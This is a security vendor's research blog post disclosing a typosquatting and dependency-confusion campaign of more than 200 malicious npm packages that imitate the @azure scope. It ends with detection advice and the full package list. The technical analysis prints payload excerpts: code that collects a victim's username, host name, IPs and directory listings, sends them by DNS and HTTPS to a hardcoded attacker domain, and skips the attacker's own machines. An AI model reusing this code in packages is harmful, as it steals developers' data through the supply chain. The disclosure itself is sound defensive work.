Large-scale npm attack targets Azure developers with malicious packages

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Large-scale npm attack targets Azure developers with malicious packages

The JFrog Security Research team identified hundreds of malicious packages designed to steal PII in a large scale typosquatting attack

By Andrey Polkovnychenko and Shachar Menashe March 23, 2022

 8 min read

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The JFrog Security research team continuously monitors popular open source software (OSS) repositories with our automated tooling to avert potential software supply chain security threats, and reports any vulnerabilities or malicious packages discovered to repository maintainers and the wider community.

Two days ago, several of our automated analyzers started alerting on a set of packages in the npm Registry. This particular set of packages steadily grew over a few days, from about 50 packages to more than 200 packages (as of March 21st).

After manually inspecting some of these packages, it became apparent that this was a targeted attack against the entire @azure npm scope, by an attacker that employed an automatic script to create accounts and upload malicious packages that cover the entirety of that scope. Currently, the observed malicious payload of these packages were PII (Personally identifiable information) stealers.

The entire set of malicious packages was disclosed to the npm maintainers and the packages were quickly removed.

Who is being targeted?

The attacker seemed to target all npm developers that use any of the packages under the @azure scope, with a typosquatting attack.

In addition to the @azure scope, a few packages from the following scopes were also targeted –  @azure-rest, @azure-tests, @azure-tools and @cadl-lang.

Since this set of legitimate packages is downloaded tens of millions of times each week, there is a high chance that some developers will be successfully fooled by the typosquatting attack.

What software supply chain attack method is used?

The attack method is typosquatting – the attacker simply creates a new (malicious) package with the same name as an existing @azure scope package, but drops the scope name.

For example, here is a legitimate azure npm package –

And its malicious counterpart –

This was done for (at least) 218 packages. The full list of disclosed packages is posted on JFrog’s security research website and as an Appendix to this post.

The attacker is relying on the fact that some developers may erroneously omit the @azure prefix when installing a package. For example, running npm install core-tracing by mistake, instead of the correct command – npm install @azure/core-tracing

In addition to the typosquatting infection method, all of the malicious packages had extremely high version numbers (ex. 99.10.9) which is indicative of a dependency confusion attack. A possible conjecture is that the attacker tried to target developers and machines running from internal Microsoft/Azure networks, in addition to the typosquatting-based targeting of regular npm users. As mentioned, we did not pursue research on this attack vector and as such this is just a conjecture.

Blurring the attack origins using automation

Due to the scale of the attack, it is obvious that the attacker used a script to upload the malicious packages. The attacker also tried to hide the fact that all of these malicious packages were uploaded by the same author, by creating a unique user (with a randomly-generated name) per each malicious package uploaded –

Technical analysis of the malicious payload

As mentioned, the malicious payload of these packages was a PII stealing/reconnaissance payload.

The malicious code runs automatically once the package is installed, and leaks the following details –

• Directory listing of the following directories (non-recursive) –
  • C:\
  • D:\
  • /
  • /home
• The user’s username
• The user’s home directory
• The current working directory
• IP addresses of all network interfaces
• IP addresses of configured DNS servers
• The name of the (successful) attacking package

const td = {
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: JSON.stringify(dns.getServers()),
    ip: JSON.stringify(gethttpips()),
    dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
}

These details are leaked via two exfiltration vectors –

1. HTTPS POST to the hardcoded hostname – “425a2.rt11.ml”.
2. DNS query to “<HEXSTR>.425a2.rt11.ml” where <HEXSTR> is replaced with the leaked details, concatenated together as a hex-string –

var hostname = "425a2.rt11.ml";
query_string=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;
...
dns.lookup(query_string)

We suspect that this malicious payload was either intended for initial reconnaissance on vulnerable targets (before sending a more substantial payload) or as a bug bounty hunting attempt against Azure users (and possibly Microsoft developers).

The code also contains a set of clumsy tests, that presumably make sure the malicious payload does not run on the attacker’s own machines:

function isValid(hostname, path, username, dirs) {
    if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')) {
        return false;
    }
    ...
    else if (hostname == 'lili-pc') {
        return false;
    }
    ...
    else if (hostname == 'aws-7grara913oid5jsexgkq') {
        return false;
    }
    ...
    else if (hostname == 'instance') {
        return false;
    }
    ...
    return true;
}

I am using JFrog Xray, am I protected?

JFrog Xray users are protected from this attack.

The JFrog security research team adds all verified findings, such as discovered malicious packages and zero-day vulnerabilities in open-source packages, to our Xray database before any public disclosure. Any usage of these malicious packages is flagged in Xray as a vulnerability.

As always, any malicious dependency flagged in Xray should be promptly removed.

I am an Azure developer using a targeted package, what should I do?

Make sure your installed packages are the legitimate ones, by checking that their name starts with the @azure* scope.

This can be done, for example, by changing your current directory to the npm project you would like to test, and running the following command –

npm list | grep -f packages.txt

Where “packages.txt” contains the full list of affected packages (see Appendix A).

If any of the returned results does not begin with an “@azure*” scope, you might have been affected by this attack.

Conclusion

Luckily, since the packages were detected and disclosed very quickly (~2 days after they were published), it seems that they weren’t installed in large numbers. The package download numbers were uneven, but averaged around 50 downloads per package.

It is clear that the npm maintainers are taking security very seriously. This was demonstrated many times by their actions, such as the preemptive blocking of specific package names to avoid future typosquatting and their two-factor-authentication requirement for popular package maintainers.

However – due to the meteoric rise of supply chain attacks, especially through the npm and PyPI package repositories, it seems that more scrutiny and mitigations should be added. For example, adding a CAPTCHA mechanism on npm user creation would not allow attackers to easily create an arbitrary amount of users from which malicious packages could be uploaded, making attack identification easier (as well as enabling blocking of packages based on heuristics on the uploading account). In addition to that, the need for automatic package filtering as part of a secure software curation process, based on either SAST or DAST techniques (or preferably – both), is likely inevitable.

Beyond the security capabilities provided with Xray, JFrog is providing several open-source tools that can help with identifying malicious npm packages. These tools can either be integrated into your current CI/CD pipeline, or be run as standalone utilities.

Stay Up-to-Date with JFrog Security Research

Follow the latest discoveries and technical updates from the JFrog Security Research team in our security research website and on Twitter at @JFrogSecurity.

Appendix A – The detected malicious packages

agrifood-farming   ai-anomaly-detector ai-document-translator arm-advisor arm-analysisservices arm-apimanagement arm-appconfiguration arm-appinsights arm-appplatform arm-appservice arm-attestation arm-authorization arm-avs arm-azurestack arm-azurestackhci arm-batch arm-billing arm-botservice arm-cdn arm-changeanalysis arm-cognitiveservices arm-commerce arm-commitmentplans arm-communication arm-compute arm-confluent arm-consumption arm-containerinstance arm-containerregistry arm-containerservice arm-cosmosdb arm-customerinsights arm-databox arm-databoxedge arm-databricks arm-datacatalog arm-datadog arm-datafactory arm-datalake-analytics arm-datamigration arm-deploymentmanager arm-desktopvirtualization arm-deviceprovisioningservices arm-devspaces arm-devtestlabs arm-digitaltwins arm-dns arm-dnsresolver arm-domainservices arm-eventgrid arm-eventhub arm-extendedlocation arm-features arm-frontdoor Arm-hanaonazure arm-hdinsight

arm-healthbot   arm-healthcareapis arm-hybridcompute arm-hybridkubernetes arm-imagebuilder arm-iotcentral arm-iothub arm-keyvault arm-kubernetesconfiguration arm-labservices arm-links arm-loadtestservice arm-locks arm-logic arm-machinelearningcompute arm-machinelearningexperimentation arm-machinelearningservices arm-managedapplications arm-managementgroups arm-managementpartner arm-maps arm-mariadb arm-marketplaceordering arm-mediaservices arm-migrate arm-mixedreality arm-mobilenetwork arm-monitor arm-msi arm-mysql arm-netapp arm-network arm-notificationhubs arm-oep arm-operationalinsights arm-operations arm-orbital arm-peering arm-policy arm-portal arm-postgresql arm-postgresql-flexible arm-powerbidedicated arm-powerbiembedded arm-privatedns arm-purview arm-quota arm-recoveryservices arm-recoveryservices-siterecovery arm-recoveryservicesbackup arm-rediscache arm-redisenterprisecache arm-relay arm-reservations arm-resourcegraph

arm-resourcehealth   arm-resourcemover arm-resources arm-resources-subscriptions arm-search arm-security arm-serialconsole arm-servicebus arm-servicefabric arm-servicefabricmesh arm-servicemap arm-signalr arm-sql arm-sqlvirtualmachine arm-storage arm-storagecache arm-storageimportexport arm-storagesync arm-storsimple1200series arm-storsimple8000series arm-streamanalytics arm-subscriptions arm-support arm-synapse arm-templatespecs arm-timeseriesinsights arm-trafficmanager arm-videoanalyzer arm-visualstudio arm-vmwarecloudsimple arm-webpubsub arm-webservices arm-workspaces cadl-autorest cadl-azure-core cadl-azure-resource-manager cadl-playground cadl-providerhub cadl-providerhub-controller cadl-providerhub-templates-contoso cadl-samples codemodel communication-chat communication-common communication-identity communication-network-traversal communication-phone-numbers communication-short-codes communication-sms confidential-ledger core-amqp core-asynciterator-polyfill core-auth core-client-1 core-http

core-http-compat   core-lro core-paging core-rest-pipeline core-tracing core-xml deduplication digital-twins-core dll-docs dtdl-parser eslint-config-cadl eslint-plugin-azure-sdk eventhubs-checkpointstore-blob eventhubs-checkpointstore-table extension-base helloworld123ccwq identity-cache-persistence identity-vscode iot-device-update iot-device-update-1 iot-modelsrepository keyvault-admin mixed-reality-authentication mixed-reality-remote-rendering modelerfour monitor-opentelemetry-exporter oai2-to-oai3 openapi3 opentelemetry-instrumentation-azure-sdk pnpmfile.js prettier-plugin-cadl purview-administration purview-catalog purview-scanning quantum-jobs storage-blob-changefeed storage-file-datalake storage-queue synapse-access-control synapse-artifacts synapse-managed-private-endpoints synapse-monitoring synapse-spark test-public-packages test-utils-perf testing-recorder-new testmodeler video-analyzer-edge videojs-wistia web-pubsub web-pubsub-express

 

Sursa: https://jfrog.com/blog/large-scale-npm-attack-targets-azure-developers-with-malicious-packages/